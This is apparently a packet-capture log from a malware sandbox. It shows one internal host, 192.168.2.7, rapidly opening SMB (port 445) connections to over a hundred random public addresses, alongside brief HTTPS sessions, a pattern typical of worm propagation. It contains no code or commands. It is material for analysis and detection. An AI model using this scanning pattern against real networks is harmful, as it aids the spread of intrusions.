Jul 20, 2022 19:10:09.247859955 CEST	57920	445	192.168.2.7	38.18.206.88
Jul 20, 2022 19:10:09.291098118 CEST	57929	445	192.168.2.7	42.172.73.145
Jul 20, 2022 19:10:09.292205095 CEST	57931	445	192.168.2.7	136.119.63.21
Jul 20, 2022 19:10:09.294962883 CEST	57935	445	192.168.2.7	20.23.162.46
Jul 20, 2022 19:10:09.295758009 CEST	57936	445	192.168.2.7	139.136.63.174
Jul 20, 2022 19:10:09.296300888 CEST	57937	445	192.168.2.7	39.85.195.1
Jul 20, 2022 19:10:09.355565071 CEST	57940	445	192.168.2.7	150.195.4.30
Jul 20, 2022 19:10:09.355688095 CEST	57943	445	192.168.2.7	52.202.176.163
Jul 20, 2022 19:10:09.355696917 CEST	57941	445	192.168.2.7	80.217.115.40
Jul 20, 2022 19:10:09.355732918 CEST	57942	445	192.168.2.7	220.11.65.78
Jul 20, 2022 19:10:09.453607082 CEST	57962	445	192.168.2.7	99.66.226.217
Jul 20, 2022 19:10:09.758532047 CEST	57882	445	192.168.2.7	43.129.248.208
Jul 20, 2022 19:10:09.978147984 CEST	57973	445	192.168.2.7	56.186.24.82
Jul 20, 2022 19:10:09.979340076 CEST	57975	445	192.168.2.7	60.95.169.94
Jul 20, 2022 19:10:09.979975939 CEST	57976	445	192.168.2.7	3.134.155.53
Jul 20, 2022 19:10:10.014270067 CEST	445	57882	43.129.248.208	192.168.2.7
Jul 20, 2022 19:10:10.057359934 CEST	57977	445	192.168.2.7	39.207.35.217
Jul 20, 2022 19:10:10.057945967 CEST	57978	445	192.168.2.7	47.248.181.99
Jul 20, 2022 19:10:10.262708902 CEST	57988	445	192.168.2.7	164.130.240.116
Jul 20, 2022 19:10:10.262727022 CEST	57989	445	192.168.2.7	97.39.254.208
Jul 20, 2022 19:10:10.262928009 CEST	57990	445	192.168.2.7	180.222.218.44
Jul 20, 2022 19:10:10.280586004 CEST	445	57975	60.95.169.94	192.168.2.7
Jul 20, 2022 19:10:10.322770119 CEST	57996	445	192.168.2.7	64.180.124.6
Jul 20, 2022 19:10:10.324029922 CEST	57998	445	192.168.2.7	182.67.131.76
Jul 20, 2022 19:10:10.324673891 CEST	57999	445	192.168.2.7	22.145.18.11
Jul 20, 2022 19:10:10.325284958 CEST	58000	445	192.168.2.7	57.155.199.171
Jul 20, 2022 19:10:10.325835943 CEST	58001	445	192.168.2.7	203.178.16.93
Jul 20, 2022 19:10:10.329247952 CEST	58002	445	192.168.2.7	106.132.247.47
Jul 20, 2022 19:10:10.330400944 CEST	58004	445	192.168.2.7	95.120.212.250
Jul 20, 2022 19:10:10.330931902 CEST	58005	445	192.168.2.7	112.84.27.230
Jul 20, 2022 19:10:10.331473112 CEST	58006	445	192.168.2.7	129.141.141.173
Jul 20, 2022 19:10:10.332000971 CEST	58007	445	192.168.2.7	33.137.184.68
Jul 20, 2022 19:10:10.372672081 CEST	58013	445	192.168.2.7	60.236.200.228
Jul 20, 2022 19:10:10.419342995 CEST	58023	445	192.168.2.7	49.74.175.186
Jul 20, 2022 19:10:10.420061111 CEST	58024	445	192.168.2.7	64.202.92.214
Jul 20, 2022 19:10:10.420737028 CEST	58025	445	192.168.2.7	42.80.250.133
Jul 20, 2022 19:10:10.423190117 CEST	58029	445	192.168.2.7	123.23.185.170
Jul 20, 2022 19:10:10.423974991 CEST	58030	445	192.168.2.7	56.102.30.151
Jul 20, 2022 19:10:10.430531025 CEST	57779	445	192.168.2.7	165.3.122.1
Jul 20, 2022 19:10:10.481333971 CEST	58035	445	192.168.2.7	22.151.113.22
Jul 20, 2022 19:10:10.481338978 CEST	58034	445	192.168.2.7	162.64.6.167
Jul 20, 2022 19:10:10.481455088 CEST	58037	445	192.168.2.7	148.20.127.139
Jul 20, 2022 19:10:10.481477976 CEST	58036	445	192.168.2.7	142.230.65.59
Jul 20, 2022 19:10:10.577402115 CEST	58060	445	192.168.2.7	194.59.61.237
Jul 20, 2022 19:10:10.753998041 CEST	445	58029	123.23.185.170	192.168.2.7
Jul 20, 2022 19:10:10.930533886 CEST	57975	445	192.168.2.7	60.95.169.94
Jul 20, 2022 19:10:11.152286053 CEST	58068	445	192.168.2.7	155.196.99.101
Jul 20, 2022 19:10:11.152551889 CEST	58069	445	192.168.2.7	216.120.103.55
Jul 20, 2022 19:10:11.152695894 CEST	58070	445	192.168.2.7	34.89.132.170
Jul 20, 2022 19:10:11.181746006 CEST	58071	445	192.168.2.7	8.21.142.210
Jul 20, 2022 19:10:11.182452917 CEST	58072	445	192.168.2.7	190.26.66.239
Jul 20, 2022 19:10:11.237035036 CEST	445	57975	60.95.169.94	192.168.2.7
Jul 20, 2022 19:10:11.352442980 CEST	58029	445	192.168.2.7	123.23.185.170
Jul 20, 2022 19:10:11.369884968 CEST	58076	445	192.168.2.7	29.90.23.237
Jul 20, 2022 19:10:11.374676943 CEST	58083	445	192.168.2.7	164.109.111.194
Jul 20, 2022 19:10:11.374794960 CEST	58084	445	192.168.2.7	188.5.33.58
Jul 20, 2022 19:10:11.432249069 CEST	58091	445	192.168.2.7	115.71.229.18
Jul 20, 2022 19:10:11.432833910 CEST	58092	445	192.168.2.7	177.42.107.2
Jul 20, 2022 19:10:11.433954954 CEST	58094	445	192.168.2.7	208.110.185.250
Jul 20, 2022 19:10:11.434506893 CEST	58095	445	192.168.2.7	4.119.130.224
Jul 20, 2022 19:10:11.435471058 CEST	58096	445	192.168.2.7	41.166.251.94
Jul 20, 2022 19:10:11.436078072 CEST	58097	445	192.168.2.7	49.110.199.151
Jul 20, 2022 19:10:11.439419985 CEST	58103	445	192.168.2.7	62.111.42.195
Jul 20, 2022 19:10:11.440510035 CEST	58105	445	192.168.2.7	162.112.209.110
Jul 20, 2022 19:10:11.441098928 CEST	58106	445	192.168.2.7	187.169.86.206
Jul 20, 2022 19:10:11.441792011 CEST	58107	445	192.168.2.7	60.253.148.37
Jul 20, 2022 19:10:11.498577118 CEST	58117	445	192.168.2.7	87.246.62.217
Jul 20, 2022 19:10:11.542387962 CEST	58119	445	192.168.2.7	104.2.146.204
Jul 20, 2022 19:10:11.542944908 CEST	58120	445	192.168.2.7	98.215.207.229
Jul 20, 2022 19:10:11.544950962 CEST	58124	445	192.168.2.7	207.168.39.191
Jul 20, 2022 19:10:11.545644045 CEST	58125	445	192.168.2.7	199.50.239.164
Jul 20, 2022 19:10:11.546308041 CEST	58126	445	192.168.2.7	77.251.88.18
Jul 20, 2022 19:10:11.605868101 CEST	58130	445	192.168.2.7	142.75.84.137
Jul 20, 2022 19:10:11.605886936 CEST	58129	445	192.168.2.7	204.187.24.245
Jul 20, 2022 19:10:11.605972052 CEST	58131	445	192.168.2.7	171.234.184.197
Jul 20, 2022 19:10:11.606064081 CEST	58132	445	192.168.2.7	154.183.149.5
Jul 20, 2022 19:10:11.678951025 CEST	445	58029	123.23.185.170	192.168.2.7
Jul 20, 2022 19:10:11.694674015 CEST	445	58132	154.183.149.5	192.168.2.7
Jul 20, 2022 19:10:11.697808981 CEST	58150	445	192.168.2.7	192.247.22.211
Jul 20, 2022 19:10:11.742831945 CEST	58156	443	192.168.2.7	20.199.120.182
Jul 20, 2022 19:10:11.742875099 CEST	443	58156	20.199.120.182	192.168.2.7
Jul 20, 2022 19:10:11.743035078 CEST	58156	443	192.168.2.7	20.199.120.182
Jul 20, 2022 19:10:11.744951010 CEST	58156	443	192.168.2.7	20.199.120.182
Jul 20, 2022 19:10:11.744987011 CEST	443	58156	20.199.120.182	192.168.2.7
Jul 20, 2022 19:10:11.839303017 CEST	443	58156	20.199.120.182	192.168.2.7
Jul 20, 2022 19:10:11.839546919 CEST	58156	443	192.168.2.7	20.199.120.182
Jul 20, 2022 19:10:11.842751026 CEST	58156	443	192.168.2.7	20.199.120.182
Jul 20, 2022 19:10:11.842783928 CEST	443	58156	20.199.120.182	192.168.2.7
Jul 20, 2022 19:10:11.843244076 CEST	443	58156	20.199.120.182	192.168.2.7
Jul 20, 2022 19:10:11.845129967 CEST	58156	443	192.168.2.7	20.199.120.182
Jul 20, 2022 19:10:11.845210075 CEST	58156	443	192.168.2.7	20.199.120.182
Jul 20, 2022 19:10:11.845221996 CEST	443	58156	20.199.120.182	192.168.2.7
Jul 20, 2022 19:10:11.845398903 CEST	58156	443	192.168.2.7	20.199.120.182
Jul 20, 2022 19:10:11.874609947 CEST	443	58156	20.199.120.182	192.168.2.7
Jul 20, 2022 19:10:11.874708891 CEST	443	58156	20.199.120.182	192.168.2.7
Jul 20, 2022 19:10:11.874799967 CEST	58156	443	192.168.2.7	20.199.120.182
Jul 20, 2022 19:10:11.875061989 CEST	58156	443	192.168.2.7	20.199.120.182
Jul 20, 2022 19:10:11.875086069 CEST	443	58156	20.199.120.182	192.168.2.7
Jul 20, 2022 19:10:12.227535009 CEST	58132	445	192.168.2.7	154.183.149.5
Jul 20, 2022 19:10:12.258769035 CEST	56793	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:10:12.276093006 CEST	58163	445	192.168.2.7	65.56.196.112
Jul 20, 2022 19:10:12.276904106 CEST	58164	445	192.168.2.7	42.198.234.253
Jul 20, 2022 19:10:12.277762890 CEST	58165	445	192.168.2.7	98.65.246.73
Jul 20, 2022 19:10:12.316159964 CEST	445	58132	154.183.149.5	192.168.2.7
Jul 20, 2022 19:10:12.318202972 CEST	58167	445	192.168.2.7	205.175.121.122
Jul 20, 2022 19:10:12.319084883 CEST	58168	445	192.168.2.7	85.10.92.230
Jul 20, 2022 19:10:12.348469973 CEST	58169	445	192.168.2.7	192.56.37.3
Jul 20, 2022 19:10:12.526617050 CEST	445	58169	192.56.37.3	192.168.2.7
Jul 20, 2022 19:10:12.526869059 CEST	58169	445	192.168.2.7	192.56.37.3
Jul 20, 2022 19:10:12.566457987 CEST	58178	445	192.168.2.7	46.12.72.69
Jul 20, 2022 19:10:12.569971085 CEST	58185	445	192.168.2.7	221.71.247.112
Jul 20, 2022 19:10:12.570558071 CEST	58186	445	192.168.2.7	122.248.227.186
Jul 20, 2022 19:10:12.576817989 CEST	58188	445	192.168.2.7	133.164.183.49
Jul 20, 2022 19:10:12.577765942 CEST	58189	445	192.168.2.7	162.24.30.163
Jul 20, 2022 19:10:12.578557968 CEST	58190	445	192.168.2.7	146.141.136.133
Jul 20, 2022 19:10:12.579304934 CEST	58191	445	192.168.2.7	210.254.23.205
Jul 20, 2022 19:10:12.581042051 CEST	58193	445	192.168.2.7	4.151.188.164
Jul 20, 2022 19:10:12.581799984 CEST	58194	445	192.168.2.7	190.14.198.109
Jul 20, 2022 19:10:12.582582951 CEST	58195	445	192.168.2.7	43.166.229.12
Jul 20, 2022 19:10:12.583338976 CEST	58196	445	192.168.2.7	51.153.48.226
Jul 20, 2022 19:10:12.588397980 CEST	58202	445	192.168.2.7	151.252.6.227
Jul 20, 2022 19:10:12.589683056 CEST	58204	445	192.168.2.7	139.120.251.234
Jul 20, 2022 19:10:12.595113039 CEST	58205	445	192.168.2.7	192.56.37.3
Jul 20, 2022 19:10:12.776017904 CEST	445	58205	192.56.37.3	192.168.2.7
Jul 20, 2022 19:10:12.776251078 CEST	58205	445	192.168.2.7	192.56.37.3
Jul 20, 2022 19:10:12.780566931 CEST	58206	445	192.168.2.7	195.20.52.243
Jul 20, 2022 19:10:12.781199932 CEST	58207	445	192.168.2.7	214.46.150.93
Jul 20, 2022 19:10:12.786308050 CEST	58217	445	192.168.2.7	12.40.37.179
Jul 20, 2022 19:10:12.787312984 CEST	58219	445	192.168.2.7	177.16.109.177
Jul 20, 2022 19:10:12.787863970 CEST	58220	445	192.168.2.7	73.154.7.12
Jul 20, 2022 19:10:12.789778948 CEST	58224	445	192.168.2.7	79.119.57.183
Jul 20, 2022 19:10:12.887691021 CEST	58230	445	192.168.2.7	54.237.68.49
Jul 20, 2022 19:10:12.896164894 CEST	58247	445	192.168.2.7	64.12.62.47
Jul 20, 2022 19:10:12.896756887 CEST	58248	445	192.168.2.7	221.16.105.161
Jul 20, 2022 19:10:12.897413015 CEST	58249	445	192.168.2.7	216.12.121.77
Jul 20, 2022 19:10:12.898108006 CEST	58250	445	192.168.2.7	151.210.34.125
Jul 20, 2022 19:10:13.052707911 CEST	445	58249	216.12.121.77	192.168.2.7
Jul 20, 2022 19:10:13.119015932 CEST	58169	445	192.168.2.7	192.56.37.3
Jul 20, 2022 19:10:13.446337938 CEST	58205	445	192.168.2.7	192.56.37.3
Jul 20, 2022 19:10:13.576370955 CEST	58260	445	192.168.2.7	157.233.211.44
Jul 20, 2022 19:10:13.577337980 CEST	58262	445	192.168.2.7	156.36.188.196
Jul 20, 2022 19:10:13.577866077 CEST	58263	445	192.168.2.7	124.90.68.195
Jul 20, 2022 19:10:13.618230104 CEST	58169	445	192.168.2.7	192.56.37.3
Jul 20, 2022 19:10:13.619684935 CEST	58249	445	192.168.2.7	216.12.121.77
Jul 20, 2022 19:10:13.773629904 CEST	445	58249	216.12.121.77	192.168.2.7
Jul 20, 2022 19:10:13.946429968 CEST	58205	445	192.168.2.7	192.56.37.3
Jul 20, 2022 19:10:14.258958101 CEST	56024	445	192.168.2.7	165.3.122.1
Jul 20, 2022 19:10:14.331705093 CEST	58265	445	192.168.2.7	109.39.29.78
Jul 20, 2022 19:10:14.413408995 CEST	58266	445	192.168.2.7	28.89.166.81
Jul 20, 2022 19:10:14.415306091 CEST	58277	445	192.168.2.7	209.121.4.205
Jul 20, 2022 19:10:14.421112061 CEST	58284	445	192.168.2.7	86.102.250.118
Jul 20, 2022 19:10:14.421211004 CEST	58285	445	192.168.2.7	70.185.188.216
Jul 20, 2022 19:10:14.421426058 CEST	58290	445	192.168.2.7	126.74.122.233
Jul 20, 2022 19:10:14.421519041 CEST	58291	445	192.168.2.7	145.55.25.14
Jul 20, 2022 19:10:14.421567917 CEST	58292	445	192.168.2.7	97.222.175.37
Jul 20, 2022 19:10:14.421749115 CEST	58293	445	192.168.2.7	215.234.62.40
Jul 20, 2022 19:10:14.421874046 CEST	58294	445	192.168.2.7	223.235.77.91
Jul 20, 2022 19:10:14.421968937 CEST	58295	445	192.168.2.7	70.186.199.2
Jul 20, 2022 19:10:14.422074080 CEST	58297	445	192.168.2.7	12.237.39.125
Jul 20, 2022 19:10:14.422153950 CEST	58298	445	192.168.2.7	32.23.118.194
Jul 20, 2022 19:10:14.422244072 CEST	58299	445	192.168.2.7	119.168.91.97
Jul 20, 2022 19:10:14.422369957 CEST	58301	445	192.168.2.7	86.34.225.94
Jul 20, 2022 19:10:14.490921974 CEST	445	58301	86.34.225.94	192.168.2.7
Jul 20, 2022 19:10:14.498047113 CEST	58312	445	192.168.2.7	41.251.91.79
Jul 20, 2022 19:10:14.507123947 CEST	58329	445	192.168.2.7	206.194.17.8
Jul 20, 2022 19:10:14.507802963 CEST	58330	445	192.168.2.7	35.229.10.18
Jul 20, 2022 19:10:14.508420944 CEST	58331	445	192.168.2.7	27.74.205.199
Jul 20, 2022 19:10:14.510257006 CEST	58332	445	192.168.2.7	78.88.134.123
Jul 20, 2022 19:10:14.512547970 CEST	58334	445	192.168.2.7	64.30.187.198
Jul 20, 2022 19:10:14.513432026 CEST	58338	445	192.168.2.7	151.237.174.120
Jul 20, 2022 19:10:14.514051914 CEST	58339	445	192.168.2.7	73.217.40.206
Jul 20, 2022 19:10:14.515070915 CEST	58341	445	192.168.2.7	56.3.235.36
Jul 20, 2022 19:10:14.520035028 CEST	58351	445	192.168.2.7	210.192.233.246
Jul 20, 2022 19:10:14.520622969 CEST	58352	445	192.168.2.7	116.23.54.31
Jul 20, 2022 19:10:14.618334055 CEST	56018	445	192.168.2.7	165.3.122.129
Jul 20, 2022 19:10:14.727714062 CEST	58169	445	192.168.2.7	192.56.37.3
Jul 20, 2022 19:10:14.755130053 CEST	58353	445	192.168.2.7	96.192.211.88
Jul 20, 2022 19:10:14.755654097 CEST	58354	445	192.168.2.7	49.86.105.22
Jul 20, 2022 19:10:14.759618044 CEST	58356	445	192.168.2.7	137.36.159.54
Jul 20, 2022 19:10:15.055907011 CEST	58301	445	192.168.2.7	86.34.225.94
Jul 20, 2022 19:10:15.056004047 CEST	58205	445	192.168.2.7	192.56.37.3
Jul 20, 2022 19:10:15.138978958 CEST	445	58301	86.34.225.94	192.168.2.7
Jul 20, 2022 19:10:15.756669998 CEST	58361	445	192.168.2.7	37.250.200.91
Jul 20, 2022 19:10:16.289935112 CEST	58363	445	192.168.2.7	162.221.105.243
Jul 20, 2022 19:10:16.297686100 CEST	58364	445	192.168.2.7	105.130.92.159
Jul 20, 2022 19:10:16.430939913 CEST	57779	445	192.168.2.7	165.3.122.1
Jul 20, 2022 19:10:16.459923029 CEST	58365	445	192.168.2.7	199.117.227.147
Jul 20, 2022 19:10:16.462644100 CEST	58366	445	192.168.2.7	128.196.90.218
Jul 20, 2022 19:10:16.462754965 CEST	58367	445	192.168.2.7	143.113.5.200
Jul 20, 2022 19:10:16.462881088 CEST	58368	445	192.168.2.7	123.125.8.145
Jul 20, 2022 19:10:16.462984085 CEST	58369	445	192.168.2.7	194.176.137.214
Jul 20, 2022 19:10:16.463082075 CEST	58370	445	192.168.2.7	47.115.10.68
Jul 20, 2022 19:10:16.463263035 CEST	58372	445	192.168.2.7	121.231.10.237
Jul 20, 2022 19:10:16.463398933 CEST	58374	445	192.168.2.7	14.76.187.227
Jul 20, 2022 19:10:16.464071035 CEST	58391	445	192.168.2.7	147.226.168.236
Jul 20, 2022 19:10:16.464260101 CEST	58392	445	192.168.2.7	211.193.171.213
Jul 20, 2022 19:10:16.464380026 CEST	58393	445	192.168.2.7	31.56.1.247
Jul 20, 2022 19:10:16.464598894 CEST	58396	445	192.168.2.7	49.215.113.40
Jul 20, 2022 19:10:16.465055943 CEST	58408	445	192.168.2.7	178.20.77.232
Jul 20, 2022 19:10:16.465298891 CEST	58413	445	192.168.2.7	12.245.124.65
Jul 20, 2022 19:10:16.465455055 CEST	58415	445	192.168.2.7	199.126.22.149
Jul 20, 2022 19:10:16.465701103 CEST	58420	445	192.168.2.7	49.1.235.231
Jul 20, 2022 19:10:16.465821981 CEST	58421	445	192.168.2.7	167.201.71.119
Jul 20, 2022 19:10:16.465987921 CEST	58424	445	192.168.2.7	25.102.27.233
Jul 20, 2022 19:10:16.466167927 CEST	58427	445	192.168.2.7	150.164.55.213
Jul 20, 2022 19:10:16.466315985 CEST	58429	445	192.168.2.7	70.215.103.202
Jul 20, 2022 19:10:16.466700077 CEST	58439	445	192.168.2.7	27.110.247.40
Jul 20, 2022 19:10:16.467421055 CEST	58448	445	192.168.2.7	40.54.216.176
Jul 20, 2022 19:10:16.468183041 CEST	58440	445	192.168.2.7	211.19.13.137
Jul 20, 2022 19:10:16.475163937 CEST	58458	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:10:16.475213051 CEST	443	58458	20.199.120.151	192.168.2.7
Jul 20, 2022 19:10:16.475300074 CEST	58458	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:10:16.475630045 CEST	58454	445	192.168.2.7	159.126.11.254
Jul 20, 2022 19:10:16.475754976 CEST	58455	445	192.168.2.7	36.154.190.165
Jul 20, 2022 19:10:16.475898027 CEST	58456	445	192.168.2.7	26.149.34.3
Jul 20, 2022 19:10:16.476223946 CEST	58458	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:10:16.476247072 CEST	443	58458	20.199.120.151	192.168.2.7
Jul 20, 2022 19:10:16.572521925 CEST	443	58458	20.199.120.151	192.168.2.7
Jul 20, 2022 19:10:16.572668076 CEST	58458	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:10:16.575623989 CEST	58458	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:10:16.575644016 CEST	443	58458	20.199.120.151	192.168.2.7
Jul 20, 2022 19:10:16.575993061 CEST	443	58458	20.199.120.151	192.168.2.7
Jul 20, 2022 19:10:16.584372997 CEST	58458	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:10:16.584425926 CEST	58458	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:10:16.584434032 CEST	443	58458	20.199.120.151	192.168.2.7
Jul 20, 2022 19:10:16.584610939 CEST	58458	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:10:16.614397049 CEST	443	58458	20.199.120.151	192.168.2.7
Jul 20, 2022 19:10:16.614496946 CEST	443	58458	20.199.120.151	192.168.2.7
Jul 20, 2022 19:10:16.614586115 CEST	58458	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:10:16.615021944 CEST	58458	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:10:16.615045071 CEST	443	58458	20.199.120.151	192.168.2.7
Jul 20, 2022 19:10:16.875799894 CEST	58459	445	192.168.2.7	129.188.10.102
Jul 20, 2022 19:10:16.930999041 CEST	58169	445	192.168.2.7	192.56.37.3
Jul 20, 2022 19:10:17.216675997 CEST	58205	445	192.168.2.7	192.56.37.3
Jul 20, 2022 19:10:17.409806013 CEST	58461	445	192.168.2.7	219.239.113.229
Jul 20, 2022 19:10:17.447324038 CEST	58462	445	192.168.2.7	35.137.91.200
Jul 20, 2022 19:10:17.591387987 CEST	58470	445	192.168.2.7	55.109.209.226
Jul 20, 2022 19:10:17.591893911 CEST	58471	445	192.168.2.7	169.62.84.198
Jul 20, 2022 19:10:17.597263098 CEST	58479	445	192.168.2.7	169.203.147.194
Jul 20, 2022 19:10:17.600119114 CEST	58485	445	192.168.2.7	45.124.134.139
Jul 20, 2022 19:10:17.600502968 CEST	58483	445	192.168.2.7	75.28.81.172
Jul 20, 2022 19:10:17.601581097 CEST	58488	445	192.168.2.7	21.98.52.50
Jul 20, 2022 19:10:17.605362892 CEST	58493	445	192.168.2.7	132.64.177.25
Jul 20, 2022 19:10:17.608573914 CEST	58495	445	192.168.2.7	66.20.47.29
Jul 20, 2022 19:10:17.610275030 CEST	58500	445	192.168.2.7	105.132.119.191
Jul 20, 2022 19:10:17.610954046 CEST	58501	445	192.168.2.7	203.55.240.109
Jul 20, 2022 19:10:17.612720966 CEST	58504	445	192.168.2.7	35.90.179.232
Jul 20, 2022 19:10:17.613585949 CEST	58505	445	192.168.2.7	52.152.228.230
Jul 20, 2022 19:10:17.613790035 CEST	58506	445	192.168.2.7	128.72.20.82
Jul 20, 2022 19:10:17.615272045 CEST	58509	445	192.168.2.7	36.248.123.184
Jul 20, 2022 19:10:17.623019934 CEST	58520	445	192.168.2.7	35.15.250.247
Jul 20, 2022 19:10:17.636607885 CEST	58521	445	192.168.2.7	152.233.11.225
Jul 20, 2022 19:10:17.637545109 CEST	58522	445	192.168.2.7	62.125.16.237
Jul 20, 2022 19:10:17.638241053 CEST	58523	445	192.168.2.7	151.208.160.160
Jul 20, 2022 19:10:17.639293909 CEST	58525	445	192.168.2.7	89.101.66.148
Jul 20, 2022 19:10:17.640299082 CEST	58527	445	192.168.2.7	77.115.195.137
Jul 20, 2022 19:10:17.647178888 CEST	58543	445	192.168.2.7	23.120.15.61
Jul 20, 2022 19:10:17.647301912 CEST	58546	445	192.168.2.7	185.99.153.67
Jul 20, 2022 19:10:17.647304058 CEST	58545	445	192.168.2.7	173.108.93.244
Jul 20, 2022 19:10:17.652723074 CEST	58549	445	192.168.2.7	116.226.28.141
Jul 20, 2022 19:10:17.652827024 CEST	58550	445	192.168.2.7	130.58.176.33
Jul 20, 2022 19:10:17.652874947 CEST	58551	445	192.168.2.7	115.209.19.42
Jul 20, 2022 19:10:17.994364023 CEST	58557	445	192.168.2.7	114.14.168.49
Jul 20, 2022 19:10:18.530214071 CEST	58558	445	192.168.2.7	84.153.91.163
Jul 20, 2022 19:10:18.580435991 CEST	58560	445	192.168.2.7	146.56.153.36
Jul 20, 2022 19:10:18.754659891 CEST	58568	445	192.168.2.7	113.248.144.67
Jul 20, 2022 19:10:18.755326986 CEST	58569	445	192.168.2.7	144.251.166.110
Jul 20, 2022 19:10:18.755506992 CEST	58577	445	192.168.2.7	167.46.159.209
Jul 20, 2022 19:10:18.755597115 CEST	58580	445	192.168.2.7	61.229.32.231
Jul 20, 2022 19:10:18.755816936 CEST	58583	445	192.168.2.7	181.218.69.125
Jul 20, 2022 19:10:18.755920887 CEST	58586	445	192.168.2.7	23.244.119.112
Jul 20, 2022 19:10:18.757792950 CEST	58591	445	192.168.2.7	41.15.73.234
Jul 20, 2022 19:10:18.757852077 CEST	58592	445	192.168.2.7	183.85.244.56
Jul 20, 2022 19:10:18.757982969 CEST	58596	445	192.168.2.7	39.150.178.136
Jul 20, 2022 19:10:18.758012056 CEST	58595	445	192.168.2.7	3.58.121.23
Jul 20, 2022 19:10:18.758049011 CEST	58597	445	192.168.2.7	151.198.215.152
Jul 20, 2022 19:10:18.758141041 CEST	58599	445	192.168.2.7	216.14.228.11
Jul 20, 2022 19:10:18.758460999 CEST	58609	445	192.168.2.7	64.69.74.70
Jul 20, 2022 19:10:18.758503914 CEST	58611	445	192.168.2.7	61.148.161.208
Jul 20, 2022 19:10:18.766393900 CEST	58614	445	192.168.2.7	191.212.51.111
Jul 20, 2022 19:10:18.773741961 CEST	58619	445	192.168.2.7	42.90.104.25
Jul 20, 2022 19:10:18.774036884 CEST	58620	445	192.168.2.7	14.197.26.212
Jul 20, 2022 19:10:18.774256945 CEST	58621	445	192.168.2.7	198.16.66.155
Jul 20, 2022 19:10:18.774804115 CEST	58638	445	192.168.2.7	150.201.231.88
Jul 20, 2022 19:10:18.776077986 CEST	58640	445	192.168.2.7	14.197.61.2
Jul 20, 2022 19:10:18.776298046 CEST	58642	445	192.168.2.7	25.122.79.173
Jul 20, 2022 19:10:18.776402950 CEST	58643	445	192.168.2.7	141.39.72.100
Jul 20, 2022 19:10:18.776534081 CEST	58644	445	192.168.2.7	97.240.220.83
Jul 20, 2022 19:10:18.785316944 CEST	58648	445	192.168.2.7	51.190.188.132
Jul 20, 2022 19:10:18.785394907 CEST	58649	445	192.168.2.7	47.38.240.180
Jul 20, 2022 19:10:18.785485029 CEST	58650	445	192.168.2.7	109.46.127.7
Jul 20, 2022 19:10:18.951339960 CEST	445	58599	216.14.228.11	192.168.2.7
Jul 20, 2022 19:10:19.119668007 CEST	58655	445	192.168.2.7	4.246.78.192
Jul 20, 2022 19:10:19.556363106 CEST	58599	445	192.168.2.7	216.14.228.11
Jul 20, 2022 19:10:19.652308941 CEST	58656	445	192.168.2.7	208.145.136.158
Jul 20, 2022 19:10:19.698642015 CEST	58659	445	192.168.2.7	90.165.156.85
Jul 20, 2022 19:10:19.752209902 CEST	445	58599	216.14.228.11	192.168.2.7
Jul 20, 2022 19:10:19.919208050 CEST	58663	445	192.168.2.7	135.204.218.103
Jul 20, 2022 19:10:19.920866966 CEST	58666	445	192.168.2.7	40.5.20.134
Jul 20, 2022 19:10:19.920928001 CEST	58668	445	192.168.2.7	44.203.204.98
Jul 20, 2022 19:10:19.921039104 CEST	58672	445	192.168.2.7	62.76.34.192
Jul 20, 2022 19:10:19.921241045 CEST	58678	445	192.168.2.7	190.206.148.168
Jul 20, 2022 19:10:19.921473026 CEST	58681	445	192.168.2.7	88.107.91.168
Jul 20, 2022 19:10:19.937705040 CEST	58692	445	192.168.2.7	107.131.186.58
Jul 20, 2022 19:10:19.937747002 CEST	58694	445	192.168.2.7	135.49.110.82
Jul 20, 2022 19:10:19.937949896 CEST	58696	445	192.168.2.7	1.35.92.104
Jul 20, 2022 19:10:19.938209057 CEST	58707	445	192.168.2.7	219.107.107.182
Jul 20, 2022 19:10:19.938327074 CEST	58710	445	192.168.2.7	183.113.201.58
Jul 20, 2022 19:10:19.938345909 CEST	58711	445	192.168.2.7	182.119.49.106
Jul 20, 2022 19:10:19.938445091 CEST	58714	445	192.168.2.7	219.171.224.7
Jul 20, 2022 19:10:19.938493013 CEST	58715	445	192.168.2.7	11.156.163.144
Jul 20, 2022 19:10:19.939052105 CEST	58709	445	192.168.2.7	157.100.163.14
Jul 20, 2022 19:10:19.940084934 CEST	58723	445	192.168.2.7	5.223.19.103
Jul 20, 2022 19:10:19.940090895 CEST	58721	445	192.168.2.7	34.236.32.249
Jul 20, 2022 19:10:19.940092087 CEST	58722	445	192.168.2.7	151.158.232.226
Jul 20, 2022 19:10:19.940195084 CEST	58728	445	192.168.2.7	44.154.189.90
Jul 20, 2022 19:10:19.940201998 CEST	58729	445	192.168.2.7	106.78.129.154
Jul 20, 2022 19:10:19.940294027 CEST	58727	445	192.168.2.7	161.3.217.191
Jul 20, 2022 19:10:19.940313101 CEST	58731	445	192.168.2.7	43.110.94.138
Jul 20, 2022 19:10:19.940320969 CEST	58732	445	192.168.2.7	116.42.148.221
Jul 20, 2022 19:10:19.940764904 CEST	58750	445	192.168.2.7	200.42.119.221
Jul 20, 2022 19:10:19.940788984 CEST	58751	445	192.168.2.7	187.15.226.33
Jul 20, 2022 19:10:19.940887928 CEST	58752	445	192.168.2.7	116.170.80.246
Jul 20, 2022 19:10:20.245254040 CEST	58754	445	192.168.2.7	133.244.171.230
Jul 20, 2022 19:10:20.760572910 CEST	58755	445	192.168.2.7	199.14.5.220
Jul 20, 2022 19:10:20.825169086 CEST	58758	445	192.168.2.7	59.34.36.215
Jul 20, 2022 19:10:21.041646957 CEST	58762	445	192.168.2.7	163.33.10.103
Jul 20, 2022 19:10:21.073718071 CEST	58766	445	192.168.2.7	24.0.102.123
Jul 20, 2022 19:10:21.075850010 CEST	58769	445	192.168.2.7	108.214.107.156
Jul 20, 2022 19:10:21.076121092 CEST	58774	445	192.168.2.7	64.61.70.110
Jul 20, 2022 19:10:21.076198101 CEST	58777	445	192.168.2.7	118.18.148.30
Jul 20, 2022 19:10:21.076328993 CEST	58780	445	192.168.2.7	77.107.223.72
Jul 20, 2022 19:10:21.094790936 CEST	58788	445	192.168.2.7	87.218.62.156
